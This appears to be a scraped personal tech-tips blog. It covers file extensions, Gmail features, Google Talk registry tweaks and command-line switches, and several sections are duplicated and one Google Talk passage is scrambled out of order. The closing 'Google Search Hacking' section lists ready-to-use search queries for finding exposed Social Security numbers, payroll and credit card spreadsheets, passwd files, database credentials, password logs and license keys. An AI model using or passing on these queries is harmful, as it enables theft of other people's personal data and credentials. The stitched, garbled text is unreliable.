Tiger file, used by US government to distribute maps
TLB
OLE Type Library
TMP
Windows temporary file
TRM
Terminal file
TRN
MKS Source Integrity project usage log
TTF
TrueType font
TWF
TabWorks file
TWW
Tagwrite Template
TX8
MS-DOS Text
TXT
Text
T2T
Sonata CAD modelling software file

UDF
Windows NT Uniqueness Database File
ULT
Ultratracker music module (MOD) file
URL
Internet shortcut
USE
MKS Source Integrity file
VBP
Visual Basic Project
VBW
Microsoft Visual Basic workspace
VBX
Visual Basic custom control
VCF
Vevi Configuration File; defines objects for use with Sense8's WorldToolKit
VDA
Targa bitmap
VI
Virtual Instrument file from National Instruments LABView product
VLB
Corel Ventura Library
VOC
Creative Labs Sound Blaster sound
VP
Ventura Publisher publication
VSD
Visio drawing (flow chart or schematic)
VST
Targa bitmap
VSW
Visio Workspace file
VXD
Microsoft Windows virtual device driver

WAD
Large file for Doom game containing video, player level, and other information
WAV
Windows Waveform sound
WB1
QuattroPro for Windows spreadsheet
WB2
QuattroPro for Windows spreadsheet
WBK
Microsoft Word Backup
WBL
Argo WebLoad II upload file
WCM
WordPerfect Macro
WDB
Microsoft Works database
WEB
CorelXara Web document
WGP
Wild Board Games data file
WID
Ventura width table
WIL
WinImage file
WIZ
Microsoft Word Wizard
WK1
Lotus 123 versions 1 & 2 spreadsheet
WK3
Lotus 123 version 3 spreadsheet
WK4
Lotus 123 version 4 spreadsheet
WKS
Lotus 123 Worksheet spreadsheet
WKS
Microsoft Works document
WLF
Argo WebLoad I upload file
WLL
Microsoft Word Add-In
WMF
Windows Metafile
WOW
Grave Composer music module (MOD) file
WP
WordPerfect document
WPW
Novel PerfectWorks document
WP4
WordPerfect 4 document
WP5
WordPerfect 5 document
WP6
WordPerfect 6 document
WPD
WordPerfect Demo
WPD
WordPerfect Document
WPG
WordPerfect Graphic
WPS
Microsoft Works document
WPT
WordPerfect Template
WQ1
QuattroPro/DOS spreadsheet
WQ2
QuattroPro/DOS version 5 spreadsheet
WRI
Write document
WRL
Virtual Reality model
WS1
WordStar for Windows 1 document
WS2
WordStar for Windows 2 document
WS3
WordStar for Windows 3 document
WS4
WordStar for Windows 4 document
WS5
WordStar for Windows 5 document
WS6
WordStar for Windows 6 document
WS7
WordStar for Windows 7 document
WSD
WordStar 2000 document
WVL
Wavelet Compressed Bitmap

XAR
Corel Xara drawing
XLA
Microsoft Excel add-in
XLB
Microsoft Excel toolbar
XLC
Microsoft Excel chart
XLD
Microsoft Excel dialogue
XLK
Microsoft Excel backup
XLM
Microsoft Excel macro
XLS
Microsoft Excel worksheet
XLT
Microsoft Excel template
XLV
Microsoft Excel VBA module
XLW
Microsoft Excel workbook / workspace
XM
FastTracker 2, Digital Tracker music module (MOD) file
XR1
Epic MegaGames Xargon data file
XTP
XTree data file
XY3
XYWrite III document
XY4
XYWrite IV document
XYP
XYWrite III Plus document
XYW
XYWrite for Windows 4.0 document

YAL
Arts & Letters clipart library
YBK
Microsoft Encarta Yearbook
Z
Unix Gzip
ZIP
Zip file
ZOO
An early compressed file format
000-999
Used to number old versions of files and number related data files
12M
Lotus 123 97 Smartmaster file
123
Lotus 123 97 file
2GR and 3GR
VGA Graphics driver/configuration files under Windows
386
A file for use in an 80386 or higher microprocessor
669
Composer 669, Unis Composer music mod file
#01 and higher
A method of numbering picture files for a roll of film that has been scanned
$$$
Used by OS/2 to keep track of archived files
@@@
Screen files used in the installation and instruction on use of applications

i alredy answer

Question: I have trouble in creating a Batch file.. how do i do it
Ans: http://home.att.net/~gobruen/progs/dos_batch/dos_intro.html

1) Many a times i get queries like " my system is not working properly ?"crashing every time it runs.. any diagnostics ??

Ans : there can be a varieties of answers for that Windows system restore automatically backs up the registry and other important windows file
BUT The program is famously UNRELIABLE.. and win2000 lacks the utility altogether..
ll for those users i have a better solution for that
http://www.larshederer.homepage.t-online.de/erunt/
CLICK HERE

try it out,. u ll be relieved
2) Driver update ??

ll its again gains a major portion in the question n ans section of this website
there are he** lots of places fr it.. bt i ld recommend
www.driveragent.com
CLICK HERE
its easy n perfect !! this site requires IE, scans ur HDD n gives u a reasonably accurate list of outdated drivers on ur computer
3) Perfect registry cleaners

recommendations
http://www.chemtable.com/organizer.htm
http://personal.inet.fi/business/toniarts/ecleane.htm

5) Many of u ask me how t o install ram on a Laptop

Ans: Step by step tutorial at
http://crucial.com/install/sodimm.asp

prevent spam in your Gmail account

prevent spam in your Gmail account

a simple trick i accidentally came through would like to share

Are you worried about spam in your precious gmail account ?

If yes, then you would like to consider making aliases of your gmail id to use when you're not sure whether you're signing up for something safe or not.

It is a very simple task to provide an alias of your gmail id. Whenever you sign up on the internet on some site that you think may not be safe(or a site which might send you spam),all you have to do is give out the email address as username+insertanythingyouwanthere@gmail.com

For example if your email id is james@gmail.com,you can provide james+21@gmail.com or james+test@gmail.com .You can put anything after the + and all email sent will still go to your gmail account.

In the event that you did give your email to a spammer and you start receiving spam, don't worry! Just create a filter, and make everything that is sent to username+whateveryouputhere@gmail.com go to the trash. This way all the spam that you might get will automatically be deleted.

download youtube videos

download youtube videos

simply follow this link n u are through
http://video.qooqle.jp/dl/

or
www.youtubex.com

Gmail " Google Mail"

While Web-based email is nothing new, Gmail introduces some new and unique concepts. Managing email has become very easy while at the same time having powerful tools to find and review information.

1.) Advertizing:

This is probably the single most controversial aspect of Gmail. Opponents have said that Google's approach to inserting ads based on message content is a huge privacy breach.
Gmail does not "read" your email. Gmail does not breach your privacy. Gmail does not care about your message content. All Gmail is doing is running your message through a "processor" that looks for ad-related keywords so that it can display unobtrusive targeted ads.
Another important point about Gmail's ads is that they are VERY unobtrusive. They are much like the "Sponsored ads" you see on the right of a Google Search results screen. In fact, they don't even show up on every email message that you read, and so far, that's the only place you see the ads: when reading messages. They don't appear in any other screen. Gmail's ads are FAR less annoying than the flashy lights and huge billboards that services like Yahoo Mail and Hotmail use. And, given that the ads are intended to be targeted based on message content, you shouldn't see inapropriate or unrelated ads.

2.) Reading Messages:

Note a couple things: First, no external graphics are displayed. By default, Gmail disables displaying externally referenced graphics. The reason is that many spam messages contain externally referenced graphics. When they are displayed, the email sender can use this to track that you opened the message thus validating your email address for future spam. Clicking on the "Display External Images" link will display the images if you want.
There is one glaring problem: If the original email is HTML or Rich Text formatted, Gmail will strip out ALL formatting including links, fonts, and images. ie: you can only reply in plain text.

3.) Archiving :

One of the first concepts that you have to get used to with Gmail is that of "Archiving". The overall power of Gmail is in its message management, searching and archival capabilities. With 1GB of storage, the average email user will have enough storage space to hold several years worth of emails. Yes, there will always be emails that you simply don't want to keep.
Archiving a message simply tells Gmail to remove the message from your Inbox screen and keep it in your "All Mail" screen. All emails will remain in your inbox until you specifically "Archive" them. Archiving simply removes the message from your inbox screen.But what happens to it? Don't worry, all messages are always accessible through the "All Mail" screen. Archiving simply cleans up your inbox. Once a message has been archived, should you ever want to, you can easily move it back to the inbox, but there really isn't a need for that.

4.) Labels :

A Label is a way of classifying an email. It's similar to "folders" but it goes much farther: You can optionally assign a user-definable Label to any email. Then, when you click on a specific label in the label list on the left of the screen, Gmail displays only those emails under that label. Sounds a lot like folders, right?
The power of Labels shows in being able to assign multiple labels to an email. When you organize emails in folders, an email can reside in only one folder at a time. Say you have one folder called "Family" and another called "Jokes". Your brother sends you a joke email, so where do you put it--the Family folder or the Jokes folder? Gmail's Labels let you assign multiple labels to each email, so you could label your brother's joke email with both "Family" AND "Jokes" labels.
At first, this may not seem too exciting, but after a while, you will see how this could be very powerful, especially with large numbers of accumulated emails.

Gmail Tip #1: All About Labels
You can add a Label to a message in one of two ways:
If you are viewing a message listing, you can just click the checkbox next to the message, click on the "Apply label..." dropdown, and select the Label you want to apply. Gmail will display the Label just to the left of the message's Subject.
If you are viewing a message, just click on the "Apply label..." dropdown, and select the label you want to apply. Gmail will display the new label to the right of the Subject line.
OK, you assigned a Label to a message, but at a later time, you want to remove it. How do you do that? Just select the Label view from the Labels box on the left, "select" the specific message by clicking the checkbox next to the message, and then click on the "Remove label 'xxxx'" button at the top of the listing. Your label has now been removed!

Gmail Tip #2: How to Maintain 'Notes'

Some email providers provide a "Notes" function to let you maintain a list of notes. For example you might keep Web site links, random thoughts, etc. Gmail doesn't offer this feature, but by using some of Gmail's other features, you can set up a very nice, easy to maintain group of notes...
Here's what you do:
First, create a Contact with a Name of "Notes" and an Email Address of "username+Notes@gmail.com"
Next, create a new Label called "Notes"
Finally, create a Filter to add the "Notes" Label any email addressed to "username+Notes@gmail.com". Also, check the "Skip the Inbox (Archive it)" checkbox.
The effect is this:
When you email yourself from an email account other than your own Gmail account, address the email to "username+Notes@gmail.com". When the message arrives in your Gmail account, it will automatically be archived into your "Notes" Label view, bypassing the Inbox. Nice and organized.

Gmail Tip #3: The 'Plus' Side of Gmail

Like many Email providers, Gmail supports the standard "plus" addressing scheme. But just what is it, and how can it help me?
The "plus" method of addressing lets you add additional words to your account name (the "left side" of your email address.) For example, if your email address is "john.doe@gmail.com", you could add "+club" when you give your email address to members of a club to which you belong. So, your email address would now be "john.doe+club@gmail.com". But why would you want to do this? Think of the "plus" word as an extra "keyword" or "tag" that you can use to better manage your messages.
Using our example, say you email an invitation to your friends in a club asking them to rsvp to the invitaion. You ask them to reply to "john.doe+nope@gtmail.com" when sending you a responseif they don't want to come, and reply to "john.doe+ofcourse@gmail.com". Assuming they follow your directions, You can then set up a Gmail Filters to automatically route emails to specific Labels based on the addresses. It's a simple example, but the uses can be numerous.
Another use is when you are shopping online. When asked for an email address, use something like "john.doe+amazon@gmail.com". That way, whenever you get future emails addressed to that address, you'll know that it's either from Amazon directly or from someone to whom they sold your email address. This can be a somewhat effctive way to track spam. Just be aware that not all email systems recognize or accept "plus" addresses. In fact, some spammers even strip it out completely, but it's a cool tool, none the less. The best way is to just try it and see if it works for your application!

Gmail Tip #4: What Happens To Sent Messages?

When you "send" a message, two things happen to it:
it gets copied into your "All Mail" view, and
it is visible in the "Sent Mail" view.
Many email clients and Webmail services let you optionally delete all sent messages by default, but Gmail doesn't offer this feature. Here's why...
One of Gmail's intentions is to get you out of the "trash everything" mindset. This is one of the reasons why they offer 2GB of storage.

Gmail Tip #5: Advanced Search - View Multiple Labels

:
Gmail has some advanced searching capabilities that, if you take the time to learn, enables you drill down to very specific information.
If you want to search for all messages having a specific label, you can click on the "Show search options" link, click the "Search" dropdown, select the desired Lable, and click the "Search Mail" button.
But a shortcut is to type the Label prefixed with the "label:" query word in any simple search field at the top of any Gmail page:
label:Label1
If you want to view all messages that have selected multiple Labels, for example messages having both 'Label1' and 'Label2', enter the following into the simple search field at the top of any Gmail page:
label:Label1 label:Label2
To see all messages with either 'Label1' or 'Label2', you can enter:
label:Label1 OR label:Label2
Note: the specific label names are NOT case sensitive, but the "OR" operator is case sensitive, and must be in uppercase. The pipe operator '|' can also be used in the same manner as 'OR'.
label:Label1 | label:Label2

Gmail Tip #6: Advanced Search - 'Query Words'

One of Gmail's excellent features is its Search function.Searching can be as simple as entering a keyword or two into the Search field at the top of any page to very complex using Gmail's advanced "Query Words" to better constrain searches.
Clicking the "Show Search Options" link will open up a pane containing several entry fields and dropdowns. This lets you easily specify more detailed search criteria. For example, say you want to search for all email that is unread, regardless of under what Label it is filed. Simply click the "Search:" dropdown, select "Unread Mail" and click the "Search Mail" button. Gmail will display a list of all unread mesasges. Likewise, you can select specific Labels and you can enter specific terms. It's very powerful and useful.
Gmail also provides users the ability to prefix their search keywords with "query words" that instruct Gmail how to search. And there is no need to open the Search Options--these can be entered in the simple search window at the top of any page.
For example, say you want to search for messages containing attachments from your family sent before May 21, 2004? You would simply enter the following advanced search criteria:
label:family has:attachment before:2004/5/21
Yes, this could actually be done in the Search Options pane, but in addition to the available search criteria fields, query words not only let you search using criteria not included in the Search Options pane, (like "cc:" and "bcc:") but you can do "compound" searches otherwise not available in the Search Options pane. For example:
label:doctors label:statements has:attachment before:2004/5/21 in:anywhere
would return all messages with both Labels of "Doctors" and "Statements" containing attachments, sent before May 21, 2004, existing anywhere in my account including the Trash and Spam views.
It's pretty powerful, and fairly intuitive once you get the hang of it.
For more information, you should check the direct link to Gmail's "How do I use advanced search?" help page found [here] (You may need to be logged into your Gmail account to access this page.)

Gmail Tip #7: 'Official' Features and Bugs Status Page

Want to know what features and bugs the Gmail developers are currently working on? Read on to learn how to access Gmail's new "Features, Fixes, & Feedback" page...
First, log into your Gmail account. You must be logged into your account to access the help screens. Next, click on the "Help" link located at the top of any Gmail page. Next, click on the "Send Feedback" link on the left column. You'll be taken to a page detailing features Gmail is working on and bugs being squashed!

Gmail Tip #8: Cleaning Your Contacts

One of Gmail's "features" can leave you with extra entries in your Contacts list. Gmail has a (debatably) nice feature that automatically adds to your Contacts list the email addresses of those to whom you send emails. While this can be helpful at times, just remember that EVERY unique email address you send to gets auto-added.
Log into your Gmail account and click on the "Contacts" link at the top of any Gmail page. A window will open displaying any Contacts you may have. Any you have manually edited will typically have a "Name" and possibly a "Note" associated with it. By default, any Contact Gmail auto-adds and is unedited will not contain any "name" or "note" information, just the email address. Visually scan down the list and look for any that fall into this category. If you find one, determine what to do with it: Delete is, Edit it, or leave it alone. Obviously what you do with it is up to you,

Gmail Tip #9: New feature! Import Contacts

For the best explanation of just how to Import Contacts, log into your Gmail account, click on Contacts, and click on the new "Import Contacts" link at the top of the Contacts screen.
But what can you import and how do you import? Gmail will let you import address books into Contacts from Yahoo!, Orkut, Outlook, and pretty much any other service by uploading CSV (Comma Separated Value) files to your Gmail account. You can even manually edit and create CVS files for importing using Microsoft Excel.
Just remember that currently, Gmail's Contacts fields are limited to just "Name", "Email Address", and "Notes". According to the Help screen, all other fields will be imported into the Notes field.

Gmail Tip #10: Find Your Unread Messages

Want a quick and easy way to view all of your "Unread" messages? If you have assigned Labels and archived unread messages, finding them later can sometines be challenging. Simply create a Gmail Label named "Unread", and you will see all of your unread mail in that folder. Though there are other ways to display unread messages, the nice thing about this method is that it displays the number of unread messages right in the Label list.

Gmail Tip #11: Creating a Pseudo Address Group!

Although Gmail doesn't currently support Groups in your Contacts, you can simulate a Group list by doing the following:
Create a new Contact
In the "Name" field, enter the name of your Group (eg "My Friends")
In the "E-mail" field, enter your list of email addresses in the following format

Gmail Tip #14: Improved and New Contacts Features!
The "Contacts" function has been enhanced to provide some additional functionality, and now adopts the familiar Gmail interface.
Gmail now displays a "Contacts" link in the left column under the "standard views" (Inbox, Starred, etc.) and just above the Labels. Clicking on the link brings up a nicely formatted display that matches the style of the rest og GMail. It displays the contact name, email address, Note, and any additional information (see below). At the top are two "tabs" that display "Frequently Mailed" and "All Contacts". I don't know what the criteria for "Frequently Mailed" is, but it does contain the most-used contacts.
Here are some new or expanded features:
RECENT CONVERSATIONS
Clicking on a contact displays the contact information as well as "Recent Conversations" associated with that contact. Clicking on one of these entries opens it normally with all options available. Very nice.
ADD MORE CONTACT INFO
Clicking on "Edit" allows you to update the basic contact information (Names, Email Address, Note). But there's a new link: "Add More Contact Info" which lets you add additional "Sections" of information. For example, by default there are "Personal" and "Work" sections defined. Each section contains a Section Name field, Two user-selectable "fields" and an "Address" block. Each User Field has a drop-down label containing the following selectable labels: Phone, Mobile, FAX, Pager, Email, IM, Company, Title, Other. You can also add additional fields as needed.
SEARCH CONTACTS
Near the top of the Contacts screen is a Search field and a "Search Contacts" button. Entering text into this field and clicking the button returns all contacts that BEGINS WITH the text. This is important to know because it will search ALL contact fields (even the :extended fields) for words beginning with the entered text. For example, entering "Ste" would return "Stephanie", "Steve", and "Stewart" but entering "phani" would not return "Stephanie". Obviously, it would be nice to have extended search capabilities, but this is an excellent start!

Gmail Tip #14:
Gmail Tip #16: Auto-forward received Gmail!
Want to use your Gmail account as your main email account but have some or all email auto-forwarded to other email accounts? Well, now you can!
Gmail has added tha ability to forward received emails in two ways: "All" or "Selective"
"ALL" FORWARDING
This is a "global" setting that lets you optionally forward all received email to another email address. Click on the "Settings" link, and click on the new "Forwarding" tab. In there, you have the option do Disable or Enable email forwarding. Click on Enable, enter the email address to which you want to forward, and then select one of the following self-explanatory actions from the associated dropdown:
-keep Gmail's copy in the Inbox
-archive Gmail's copy
-trash Gmail's copy
This setting will forward all received email to another email address and take the appropriate action on the received email.
"SELECTIVE" FORWARDING
Filters have also been enhanced with a new "Forward it to: emailaddress" action letting you selectivly forward emails based on filter criteria. You can use the same or different email addresss for each filter if you choose providing very powerful email management. For example, I may get statement notifications from a bank and want to auto-copy it to my wife. I just set up a filter to select emails with the bank's sending email address and then select the "Forward it to:" action and enter my wife's email address. Now, she'll get notified also!

Gmail Tip #16: Google Gmail Minibrowser
"The Google Deskbar includes a minibrowser that you can use to quickly open your Gmail account in convenient window that automatically hides and can be accessed with a keyboard shortcut. Read on for more information about this tool...
The Google Deskbar is a little Google search tool for Windows taskbar. It can do most of the Google searches using shortcut keys too. (See the link for a picture.) It also include Google's "Minibrowser" which is fast and cute. If you press Ctrl-Alt-G—by default, you can turn it off—you'll go right to the bar. Typing a search, by default, will open in the mini browser—again you can turn it off if you want or have it use your default browser (Firefox, etc).
So here's the tip: Go to Options > Customized Searches > Add. Name it "Gmail" and put in the url: http://gmail.google.com/gmail. For the shortcut I used Ctrl M. So if I press Ctrl alt G, then Ctrl M, instant GMail window in the Google Minibrowser! Awesome.
(Google Desktop isn't included in the default searches either. (Yet!) But you can also add it in the customize dialogue to search your desktop just as easily. Since the minibrowser vanishes automatically it's tres convenient to find a file!)

Google Talk Cheats

With Google Talk being all the craze right now, some people hating it, and others loving it, I figured that I would post a list of tips and tricks for those curious about the extra "features" Google implemented and has not said much about.

Registry Tweaks

You can edit most settings by opening regedit (start -> regedit),
and navigating to the key HKEY_CURRENT_USER\Software\Google\Google Talk.
The "Google/Google Talk" key has several sub-keys that hold different option values:
Accounts: This one has subkeys for each different account that has logged in on the client. These keys have different values that store the username, password and connection options.
Autoupdate: Stores the current version information. When the client checks for updates it compares Google's response with these values. If an update is needed, it will download and update the new version.
Options: This is the most interesting part, where most of the current hacks should be used (keep reading).
Process: Stores the process ID. Probably used by Google Talk to detect if it's already running or not.
1.) HKEY_CURRENT_USER\Software\Google\Google Talk\Options\show_pin
If 1, shows a "pin" next to the minimize button that keeps the windows on top of all the other open windows when clicked.
2.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\view_show_taskbutton
If 0, hides the taskbar button, and leaves the tray icon only, when the window is shown
3.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_inactive
If 1, status will be set as Away after the specified number of minutes.
4.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_screensaver
If 1, status will be set as Away after the specified number of minutes.
5.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\inactive_minutes
Number of inactive minutes to become away if auto-away is on.

More Tips & Tricks

Change the font size - While holding the control key, move the scroll wheel on your mouse either up or down. This trick works while being focused in either the read or write area.

Insert line breaks - If you want to have a message that spans multiple paragraphs, just hold shift and hit enter. You can add as many new lines as you want to create.

Bold Text - To write something bold, you can use an asterisk before and after the word, like *this* .
Italic Text - To use italics, use an underscore before an after the word, like _this_ .

Switch windows - Hitting tab will cycle through open windows. It will select minimized conversations, to expand them just hit enter. If you just want to cycle through IM's and don't care about the buddy list, control-tab will do that and will automatically expand a minimized conversation if you settle on one.

Invitation Tips - You don’t need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this in the options). ]

Show Hyperlinks - You can show your homepage or blog URL simply by entering the it in your away message (at the top of the main window). It will automatically turn to a link visible to others.

A message can be 32767 characters long.

How To
Conference Calls :
What you need to do to have conference calls: Open up a copy of Google Talk on all computers with which you wish to conference. After one copy is opened make a new shortcut for Google Talk but at the end of it add /nomutex. If you installed it to the default folder then your shortcut should read "C:\Program Files\Google\Google Talk\googletalk.exe" /nomutex. Open 2nd instances of the software on every user's computer. After this start a chain: User 1 should connect on one instance to user 2. User 2 will connect on his second instance to user 3. User 3 will connect using his second instance back to user 1. With this chain everyone is connected to everyone.

Nickname & Status Message :
You can't change your nickname in a way that other people will see it change. Every nickname in the Google Talk contactlist is the part that is before @gmail.com (only the alphabetical characters are used) or the name you chosen for your GMail account. To change the nickname need to go to your Gmail account and change the name there. Choose Settings, Accounts, and then Edit info. Click on the second radio button, and enter your custom name. As a result all of your emails will have that nick as well, there is no way to seperate the two. You can add a website in your custom message, it will be clickable when someone opens a conversation window with you.

Contacts :

You don't need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this).
The Gmail account 'user@gmail.com' can't be invited as your friend.

Play Music :

It's possible to broadcast music, MP3, etc.. through Google Talk.
Unplug your microphone. Double click on the speaker icon in the lower right corner. This will open up "Volume Control". Select "Options" and then "Properties". Then check the button next to "Recording" then click OK. You may also have to change your setting under Mixer Device. Now the Recording Control screen should be up. On my computer I selected "Wave Out Mix". Click on the green phone in Google Talk and call your friend.

Keyboard Shortcuts
Ctrl + E - It centralizes the selected text, or the current line.
Ctrl + R - It justifies to the right the selected text, or the current line.
Ctrl + L - It justifies to the left the selected text, or the current line.
Ctrl + I - The same thing does that Tab.
Tab - It is giving the area to each of the windows opened by Google Talk.
Ctrl + Tab - The same thing does that Shift + Tab .
Shift + Tab - The same thing does that Tab but in reverse.
Ctrl + Shift + L -Switch between points, numbers, letters, capital letters, roman numbers and capital roman numbers
Ctrl + 1 (KeyPad) - It does a simple space between the lines.
Ctrl + 2 (KeyPad) - It does a double space between the lines.
Ctrl + 5 (KeyPad) - A space does 1.5 between the lines.
Ctrl + 1 (NumPad) - It goes at the end of the last line.
Ctrl + 7 (NumPad) - It goes at the begin of the last line.
Ctrl + F4 - It closes the current window.
Alt + F4 - It closes the current window.
Alt + Esc - It Minimize all the windows.
Windows + ESC - Open Google Talk (if it's minimized, or in the tray)
F9 - Open Gmail to send an email to the current contact.
F11 - It initiates a telephonic call with your friend.
F12 - It cancels a telephonic call.
Esc - It closes the current window.

[HOWTO] Use multiple identities on Google Talk

Want to run Google Talk with multiple Gmail identities? If you have several Google Gmail accounts you also may want to run multiple instances of Google Talk This is especially important for families that share a single PC. Nothing worse than a family member signing you out so they can sign in under their own account!
Basically, to have "Google Polygamy" you need to run Google Talk with the following switch: /nomutex
Step 1: Right-click on the desktop
Step 2: Select New
Step 3: Select Shortcut
Step 4: Paste this into the text box:
"c:\program files\google\google talk\googletalk.exe" /nomutex
Step 5: Click Next and choose a shortcut name such as Google Talk1, Google Talk2, or something related to your Gmail account for easy remembering which account is which.
Step 6: Click OK a few times.

[HOWTO] Use Google Talk via a Web Browser

You want to use Google Talk anywhere ? Follow these guidelines :)
Step 1: Opens your favorite web browser at the following address :
http://www.webjabber.net:8080/jim/
Step 2: Follow the instructions of the Page.
Step 3: You can talk with your friends
Google's Secret Command-Line Parameters
There are a few secret parameters you can add to Google Talk and make it function differently.
The most important, I think, is /nomutex, which allows you to run more than one instance of GT. Here are the others:
/nomutex: allows you to open more than one instance of Google Talk
/autostart: when Google Talk is run with this parameter, it will check the registry settings to see if it needs to be started or not. If the "Start automatically with Windows" option is unchecked, it won't start.
/forcestart: same as /autostart, but forces it to start no matter what option was set.
/S upgrade: Used when upgrading Google Talk
/register: registers Google Talk in the registry, includig the GMail Compose method.
/checkupdate: check for newer versions
/plaintextauth: uses plain authentication mechanism instead then Google's GAIA mechanism. Used for testing the plain method on Google's servers.
/nogaiaauth: disables GAIA authentication method. The same as above.
/factoryreset: set settings back to default.
/gaiaserver servername.com: uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers.
/mailto email@host.com: send an email with Gmail
/diag: start Google Talk in diagnostic mode
/log: probably has something to do with the diagnostic logging
/unregister: ?
/embedding: ?
To add these, open up your GT shortcut, and where it says "Target:" add one or more of these inside the quotations, but after the .exe part.

Command Line stuff

There are a few secret parameters you can add to Google Talk and make it function differently. The most important, I think, is /nomutex, which allows you to run more than one instance of GT. He Talk is run with this parameter, it will check the registry settings to see if it needs to be started or not. If the "Start automatically with Windows" option is unchecked, it won't start.
/forcestart: same as /autostart, but forces it to start no matter what option was set.
/S upgrade: Used when upgrading Google Talk
/register: registers Google Talk in the registry, includig the GMail Compose method.
/checkupdate: check for newer versions
/plaintextauth: uses plain authentication mechanism instead then Google's GAIA mechanism. Used for testing the plain method on Google's servers.
/nogaiaauth: disables GAIA authentication method. The same as above.
/factoryreset: set settings back to default.
/gaiaserver servername.com: uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers.
/mailto email@host.com: send an email with Gmail
/diag: start Google Talk in diagnostic mode
/log: probably has something to do with the diagnostic logging
/unregister: ?
/embedding: ? To add these, open up your GT shortcut, and where it says "Target:" add one or more of these inside the quotations, but after the .exe part. ere are the others:
/nomutex: allows you to open more than one instance of Google Talk
/autostart: when Google

Emotions :

All these emotions appears in color in a conversation : (but having them in an image would be better, like iChat or MSN)
:-|
:-O
:-x
:-P
:-D
;-)
:-(
:-)
B-)
:'(
:|
:O
:x
:P
:D
:)
:(
:)
**********************************************************************************

Misc Gtalk information
1. You don’t have to say YES or NO when someone adds you. Simply ignore it and the request will go away.

2. A message can be 32767 characters long.

3. You can change your Gtalk chat name in Account Page

4. Adding a web URL in custom message will result it to be clickable.

5.Gtalk supports these following emotions and they are in blue colors

:-| :-O :-x :-P :-D ;-) :-( :| :O :x :P :D :) :( ;-| ;-O ;-x ;-P ;-D ;-) ;-( ;| ;O ;x ;P ;D ;) ;( B-| B-O B-x B-P B-D B-) B-( B’( BO Bx BD B) B( B)

6.Gmail talk supports these following emotions and they are animated

:-| :=P :-D ;-):-( :P :D :) :( ;-) ;) B-)

More parameters for Gtalk Start -> Run
Here’s a complete list of what you can do with Gtalk in run command prompt.

"C:\Program Files\Google\Google Talk\googletalk.exe" /parameter

/nomutex: Open more than 1 Gtalk.
/autostart: Check the registry settings to see if Gtalk needs to be started. If the “Start automatically with Windows” option is unchecked, it won’t start.
/forcestart: Similar to /autostart, but forces Gtalk to start.
/S upgrade: Used when upgrading Google Talk
/register: registers Google Talk in the registry, includig the GMail Compose method.
/checkupdate: check for newer versions
/plaintextauth: uses plain authentication mechanism instead then Google’s GAIA mechanism. Used for testing the plain method on Google’s servers.
/nogaiaauth: disables GAIA authentication method. The same as above.
/factoryreset: set settings back to default.
/gaiaserver servername.com: uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers.
/mailto email@host.com: send an email with Gmail
/diag: start Google Talk in diagnostic mode
/log: probably has something to do with the diagnostic logging
 4. Adding a web URL in custom message will result it to be clickable. 5.Gtalk supports these following emotions and they are in blue colors <blockquote> :-| :-O :-x :-P :-D ;-) :-( :| :O :x :P :D :) :( ;-| ;-O ;-x ;-P ;-D ;-) ;-( ;| ;O ;x ;P ;D ;) ;( B-| B-O B-x B-P B-D B-) B-( B’( BO Bx BD B) B( B) </blockquote> 6.Gmail talk supports these following emotions and they are animated <blockquote> :-| :=P :-D ;-):-( :P :D :) :( ;-) ;) B-) </blockquote> More parameters for Gtalk Start -> Run Here’s a complete list of what you can do with Gtalk in run command prompt. <blockquote class="code"> "C:\Program Files\Google\Google Talk\googletalk.exe" /parameter </blockquote> /nomutex: Open more than 1 Gtalk. /autostart: Check the registry settings to see if Gtalk needs to be started. If the “Start automatically with Windows” option is unchecked, it won’t start. /forcestart: Similar to /autostart, but forces Gtalk to start. /S upgrade: Used when upgrading Google Talk /register: registers Google Talk in the registry, includig the GMail Compose method. /checkupdate: check for newer versions /plaintextauth: uses plain authentication mechanism instead then Google’s GAIA mechanism. Used for testing the plain method on Google’s servers. /nogaiaauth: disables GAIA authentication method. The same as above. /factoryreset: set settings back to default. /gaiaserver servername.com: uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers. /mailto email@host.com: send an email with Gmail /diag: start Google Talk in diagnostic mode /log: probably has something to do with the diagnostic logging <h2>Rahul Dutt Avasthy</h2>i luv programmerworld

Google Search Hacking Contd... II

Salary

Salary filetype: xls site: edu

Security social insurance number

Intitle: Payroll intext: ssn filetype: xls site: edu

Security Social Insurance Number
Payroll intext: Employee intext: ssn Filetype: xls

Filetype: xls “checking account” “credit card” - intext: Application -intext:
Form (only 39 results)

Financial Information

Intitle: “Index of” finances.xls (9)

Personal Mailbox

Intitle: Index.of inurl: Inbox (inurl: User OR inurl: Mail) (220)

Confidential Files

“not for distribution” confidential (1,760)
Confidential Files
“not for distribution” confidential filetype: pdf (marketing info) (456)

OS Detection
Use the keywords of the default installation page of a Web server to search.
Use the title to search
Use the footer in a directory index page

OS Detection-Windows
“Microsoft-IIS/5.0 server at”

OS Detection - Windows
Default web page?
Intitle: “Welcome to Windows 2000 Internet Services” IIS 5.0

OS Detection –Apache 1.3.11-1.3.26
Intitle: Test.Page.for.Apache seeing.this.instead

OS Detection-Apache SSL enable
Intitle: Test.page “SSL/TLS-aware” (127)

Search Passwords

Search the well known password filenames in URL
Search the database connection files or configuration files to find a password and username
Search specific username file for a specific product

Search Passwords

Inurl: etc inurl: passwd

Search Passwords

Intitle: “Index of..etc” passwd

Search Passwords

Intitle: “Index of..etc” passwd

Search Passwords

Inurl: admin.pwd filetype: pwd

Search Passwords

Filetype: inc dbconn

Search Passwords

Filetype: inc intext: mysql_connect

Search Passwords

Filetype: ini +ws_ftp +pwd (get the encrypted passwords)

Search Passwords

Filetype: log inurl: “password.log”

Search Username
+intext: "webalizer" +intext: “Total Usernames” +intext: “Usage Statistics for”

License Key
Filetype: lic lic intext: key (33) (license key)

Sensitive Directories Listing
Powerful buzz word: Index of
Search the well known vulnerable directories names

Sensitive Directories Listing
“index of cgi-bin” (3590)

Sensitive Directories Listing
Intitle: “Index of” cfide (coldfusion directory)

Sensitive Directories Listing
